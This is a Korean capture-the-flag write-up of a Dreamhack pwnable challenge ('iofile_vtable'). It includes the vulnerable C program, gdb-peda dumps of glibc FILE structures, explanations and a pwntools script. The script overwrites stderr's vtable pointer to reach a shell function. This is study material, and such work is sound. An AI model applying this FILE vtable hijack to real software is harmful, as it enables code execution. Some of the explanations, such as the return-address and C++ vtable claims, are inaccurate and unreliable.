#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
이 코드는 보안 취약점이 있는 간단한 프로그램입니다. 주요 문제는 case 4에서 발생합니다. 여기서 read(0, stderr + 1, 8); 라인이 위험 요소입니다. 이 코드를 기반으로 취약점을 분석하고 익스플로잇 방안을 생각해보겠습니다.
코드 분석
- 초기화
- initialize() 함수는 표준 입출력 버퍼를 제거하고, 60초 타이머를 설정합니다.
- SIGALRM 신호를 처리하는 핸들러 alarm_handler()가 등록됩니다. 60초 후 프로그램은 종료됩니다.
- 이름 입력
- name 배열에 최대 8바이트를 read로 입력받습니다. 하지만 초과 입력은 막지 못합니다. 이는 버퍼 오버플로우를 일으킬 수 있습니다.
- 메뉴
- 사용자는 메뉴를 통해 1~4번 옵션을 선택할 수 있습니다.
- case 4에서 stderr + 1을 대상으로 입력을 씁니다. 이는 프로세스의 메모리를 덮어쓸 수 있어 심각한 취약점을 유발합니다.
- 쉘 실행
- get_shell() 함수는 /bin/sh를 실행합니다. 익스플로잇 목표는 이 함수를 실행하는 것입니다.
주요 취약점
- stderr 조작
- stderr + 1은 메모리 주소를 조작하여 임의의 메모리를 덮어쓸 수 있게 만듭니다. 이를 통해 프로그램 흐름을 조작하거나, get_shell을 호출하는 데 사용할 수 있습니다.
- 버퍼 오버플로우
- name 배열에 입력받을 때 8바이트 이상을 입력하면 메모리를 덮어쓸 가능성이 있습니다.
익스플로잇 개요
- 메모리 주소 분석
- stderr는 표준 C 라이브러리의 전역 변수이며, 고정된 메모리 주소를 가집니다. 이 주소를 덮어씁니다.
- stderr의 시작 주소에서 오프셋 +1 위치를 덮어쓸 때, 중요한 메모리 주소로 덮어쓸 수 있습니다.
- get_shell 실행
- 프로그램 흐름을 조작하여 get_shell 함수가 실행되도록 해야 합니다.
- 이를 위해 반환 주소를 get_shell의 주소로 설정합니다.
익스플로잇 방법
1. stderr 주소 확인
- 로컬 환경에서 GDB를 사용하여 stderr의 주소를 확인합니다.
gdb ./program
break main
run
print &stderr
2. get_shell 주소 확인
- 동일한 방식으로 get_shell 함수의 주소를 확인합니다.
print &get_shell
3. 페이로드 생성
- stderr + 1을 덮어써서 반환 주소를 get_shell의 주소로 설정합니다.
4. 실행
- 페이로드를 입력하여 쉘을 획득합니다.
수정된 코드(취약점 제거)
- read 안전성 확보
- read 사용 시 입력 길이를 엄격히 제한합니다.
read(0, name, sizeof(name) - 1);
- stderr 조작 금지
- stderr와 같은 중요한 변수에 직접 쓰기를 제거합니다.
- 권한 격리
- 프로그램이 중요한 기능을 실행할 때 권한을 제한하거나, 보안 체크를 추가합니다.
요약
이 프로그램은 stderr를 덮어써서 메모리 조작이 가능하다는 취약점을 포함하고 있습니다. 익스플로잇 과정을 통해 get_shell 함수를 호출하여 쉘을 얻을 수 있습니다. 수정하려면 입력 유효성 검사를 강화하고, 민감한 메모리 영역에 대한 쓰기를 금지해야 합니다.
https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
_IO_FILE
리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다.
이 구조체는 fopen(), fwrite(), fclose() 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다.
gdp-peda 를 통해 p *_IO_list_all 명령어로 현재 할당된 _IO_FILE 구조체를 볼 수 있습니다. 아래 구조체를 보면 크게 file 과 vtable로 나누어져 있는데, 사실 _IO_FILE의 구조체가 해당되는 변수는 file 입니다.
file과 vtable 변수 2개를 합치면 _IO_FILE_plus 라는 구조체가 됩니다.
gdb-peda$ p *_IO_list_all
$4 = {
file = {
_flags = 0xfbad2498,
_IO_read_ptr = 0x602490 "",
_IO_read_end = 0x602490 "",
_IO_read_base = 0x602490 "",
_IO_write_base = 0x602490 "",
_IO_write_ptr = 0x602490 "",
_IO_write_end = 0x602490 "",
_IO_buf_base = 0x602490 "",
_IO_buf_end = 0x603490 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x602340,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x602350,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
RAX: 0x40095b (<main>: push rbp)
RBX: 0x0
RCX: 0x400a90 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffe018 --> 0x7fffffffe39a ("SHELL=/bin/bash")
RSI: 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
RDI: 0x1
RBP: 0x7fffffffdef0 --> 0x1
RSP: 0x7fffffffdef0 --> 0x1
RIP: 0x40095f (<main+4>: sub rsp,0x20)
R8 : 0x7ffff7e1bf10 --> 0x4
R9 : 0x7ffff7fc9040 (<_dl_fini>: endbr64)
R10: 0x7ffff7fc3908 --> 0xd00120000000e
R11: 0x7ffff7fde660 (<_dl_audit_preinit>: endbr64)
R12: 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
R13: 0x40095b (<main>: push rbp)
R14: 0x0
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40095a <get_shell+16>: ret
0x40095b <main>: push rbp
0x40095c <main+1>: mov rbp,rsp
=> 0x40095f <main+4>: sub rsp,0x20
0x400963 <main+8>: mov DWORD PTR [rbp-0x14],edi
0x400966 <main+11>: mov QWORD PTR [rbp-0x20],rsi
0x40096a <main+15>: mov rax,QWORD PTR fs:0x28
0x400973 <main+24>: mov QWORD PTR [rbp-0x8],rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdef0 --> 0x1
0008| 0x7fffffffdef8 --> 0x7ffff7c29d90 (<__libc_start_call_main+128>: mov edi,eax)
0016| 0x7fffffffdf00 --> 0x0
0024| 0x7fffffffdf08 --> 0x40095b (<main>: push rbp)
0032| 0x7fffffffdf10 --> 0x1ffffdff0
0040| 0x7fffffffdf18 --> 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
0048| 0x7fffffffdf20 --> 0x0
0056| 0x7fffffffdf28 --> 0x16c4cff59be5030
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 1, 0x000000000040095f in main ()
gdb-peda$ p stderr
$2 = (FILE *) 0x7ffff7e1b6a0 <_IO_2_1_stderr_>
gdb-peda$ x/32gx 0x7ffff7e1b6a0
0x7ffff7e1b6a0 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7ffff7e1b6b0 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b6c0 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b6d0 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b6e0 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b6f0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b700 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7e1b780
0x7ffff7e1b710 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7ffff7e1b720 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7e1ca60
0x7ffff7e1b730 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7e1b740 <_IO_2_1_stderr_+160>: 0x00007ffff7e1a8a0 0x0000000000000000
0x7ffff7e1b750 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b760 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7e1b770 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7e17600
0x7ffff7e1b780 <_IO_2_1_stdout_>: 0x00000000fbad2084 0x0000000000000000
0x7ffff7e1b790 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000
gdb-peda$ p _IO_file_jumps
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7c8bff0 <_IO_new_file_finish>,
__overflow = 0x7ffff7c8cdc0 <_IO_new_file_overflow>,
__underflow = 0x7ffff7c8cab0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7c8dd60 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7c8f280 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7c8b600 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7c8b2b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7c8a8e0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7c8e4b0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7c8a5a0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7c8a430 <_IO_new_file_sync>,
__doallocate = 0x7ffff7c7eb10 <__GI__IO_file_doallocate>,
__read = 0x7ffff7c8b930 <__GI__IO_file_read>,
__write = 0x7ffff7c8aec0 <_IO_new_file_write>,
__seek = 0x7ffff7c8a670 <__GI__IO_file_seek>,
__close = 0x7ffff7c8a590 <__GI__IO_file_close>,
__stat = 0x7ffff7c8aeb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7c8f420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7c8f430 <_IO_default_imbue>
}
gdb-peda$ p stderr+1
$4 = (FILE *) 0x7ffff7e1b778 <_IO_2_1_stderr_+216>
gdb-peda$ x/x 0x7ffff7e1b778
0x7ffff7e1b778 <_IO_2_1_stderr_+216>: 0x00007ffff7e17600
문제를 풀 때에 매우 중요한 점을 얻을 수 있다. read에서 받는 stderr+1은 바로 vtable의 주소이다. (정확히는 _IO_file_jumps의 주소이다.) 그렇다면 read 함수에서는
자신의 구조체 내의 _vtable_offset 값을 _IO_file_jumps에 더해 필요한 함수를 참조할 것이다.
출처 ㅣ https://velog.io/@mm0ck3r/Dreamhack-iofilevtable
이 문제의 핵심은 C++에서 사용하는 **가상 함수 테이블(vtable)**의 구조와 이를 악용하는 방법에 관한 것입니다. 아래에서 하나씩 설명하겠습니다.
1. vtable의 역할과 구조
vtable은 C++에서 가상 함수를 지원하기 위해 사용하는 구조입니다. 객체가 생성되면 각 객체는 vtable의 포인터를 가지며, vtable은 해당 객체가 호출해야 할 가상 함수들의 주소를 저장합니다.
- vtable 구조
- vtable에는 클래스가 제공하는 가상 함수의 주소가 나열되어 있습니다.
- 객체는 vtable 포인터를 통해 해당 함수들을 호출합니다.
2. 문제의 구조 분석
문제에서 주어진 상황
- stderr:
- stderr는 C 라이브러리의 FILE 구조체 중 하나입니다.
- FILE 구조체 내부에는 vtable에 해당하는 포인터가 있습니다.
- stderr의 vtable은 _IO_file_jumps를 가리키고 있습니다.
- vtable을 통한 함수 호출:
- fprintf(또는 fwrite) 같은 함수는 내부적으로 vtable을 통해 호출할 함수를 결정합니다.
- 이 때, _IO_new_file_xsputn과 같은 함수가 호출됩니다.
- _IO_new_file_xsputn의 오프셋은 vtable에서 **0x38**입니다.
- read를 통해 vtable 주소 변경 가능:
- 프로그램은 read 시스템 호출을 사용해 입력 데이터를 받아들이며, 이 과정에서 vtable의 주소를 조작할 수 있습니다.
3. Exploit 전략
목표
- vtable을 조작해 원하는 함수를 호출하도록 만듭니다.
- 악성 함수를 작성하고, 이를 가리키는 주소를 vtable에 삽입합니다.
Exploit 세부 설명
- name에 악성 함수 이름 입력:
- get_shell이라는 함수는 악성 코드로, 이 함수가 호출되면 쉘을 실행합니다.
- 프로그램은 name 변수에 입력된 데이터를 통해 특정 동작을 수행하므로, 여기에 get_shell의 주소를 삽입합니다.
- vtable에 name - 0x38 설정:
- vtable이 _IO_file_jumps 대신 name - 0x38을 가리키도록 조작합니다.
- 왜 -0x38이냐면, _vtable_offset이 0x38이므로 함수 호출 시 실제 함수 주소를 계산할 때 자동으로 0x38을 더합니다.
- *(vtable + _vtable_offset) = get_shell
- fwrite로 악성 함수 호출:
- 이제 fwrite 함수는 원래 _IO_new_file_xsputn을 호출해야 하지만, 조작된 vtable로 인해 get_shell을 호출합니다.
4. Exploit 과정 요약
- **name**에 get_shell 함수의 주소를 삽입합니다.
- vtable을 조작하여 name - 0x38을 가리키도록 설정합니다.
- fwrite(또는 fprintf)를 호출하여 _vtable_offset에 의해 get_shell을 실행합니다.
5. 핵심 포인트
- vtable은 함수 주소 테이블이며, 이를 조작하면 원하는 함수를 실행할 수 있습니다.
- _vtable_offset은 vtable 주소에 추가적인 오프셋을 더하여 특정 함수의 주소를 계산합니다.
- 이를 이용해 vtable 조작 → 악성 함수 호출 → 쉘 실행이라는 exploit이 가능합니다.
궁금한 점이 있으면 더 알려주세요! 🚀
from pwn import *
# p = process('./iofile_vtable')
p = remote('host1.dreamhack.games', 13697)
context.log_level='debug'
e=ELF("./iofile_vtable")
get_shell = 0x40094a
fake__xsputn = 0x6010d0-0x38
p.sendlineafter(b"what is your name: ", p64(get_shell))
pause()
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"change: ", p64(fake__xsputn))
p.sendlineafter(b"> ", b"2")
p.interactive()
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[118] IT 비전공자 [dreamhack]Batch Checker문제 풀기 (0) | 2025.01.06 |
---|---|
[117] IT 비전공자 [dreamhack]Double DES문제 풀기 (0) | 2025.01.05 |
[115] IT 비전공자 [dreamhack]Collect Me 문제 풀기 (0) | 2025.01.03 |
[114] IT 비전공자 [dreamhack]likeb64문제 풀기 (0) | 2025.01.02 |
[113] IT 비전공자 [dreamhack]Check Return Value문제 풀기 (3) | 2025.01.01 |